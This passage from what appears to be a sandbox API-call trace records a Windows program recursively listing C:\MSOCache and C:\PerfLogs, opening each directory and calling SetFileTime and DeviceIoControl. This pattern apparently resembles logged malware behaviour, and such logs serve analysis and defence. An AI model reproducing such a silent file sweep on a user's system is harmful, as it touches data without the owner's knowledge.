ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0045.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbd88 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeded18 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbda8 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedee20 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbdc8 [0045.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedef28 [0045.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.885] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0045.885] GetLastError () returned 0x12 [0045.885] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0045.885] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0045.886] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0045.886] GetLastError () returned 0x12 [0045.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0045.886] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.887] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0045.887] GetLastError () returned 0x12 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0045.887] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.887] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0045.887] GetLastError () returned 0x12 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0045.887] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0045.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0045.887] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0045.887] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0045.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0045.887] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.889] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0045.890] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0045.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.890] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0045.890] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.890] NtClose (Handle=0x168) returned 0x0 [0045.890] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0045.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0045.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0045.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0045.890] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bf8 [0045.890] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.890] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0045.890] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0045.890] GetLastError () returned 0x12 [0045.890] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bb8 [0045.890] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0045.890] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.890] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0045.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.890] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.891] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0045.891] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0045.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.891] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0045.891] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.891] NtClose (Handle=0x168) returned 0x0 [0045.891] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0045.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0045.891] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0045.891] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.891] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.891] GetLastError () returned 0x12 [0045.891] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0045.891] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0045.892] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.892] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.892] GetLastError () returned 0x12 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0045.892] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.892] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: 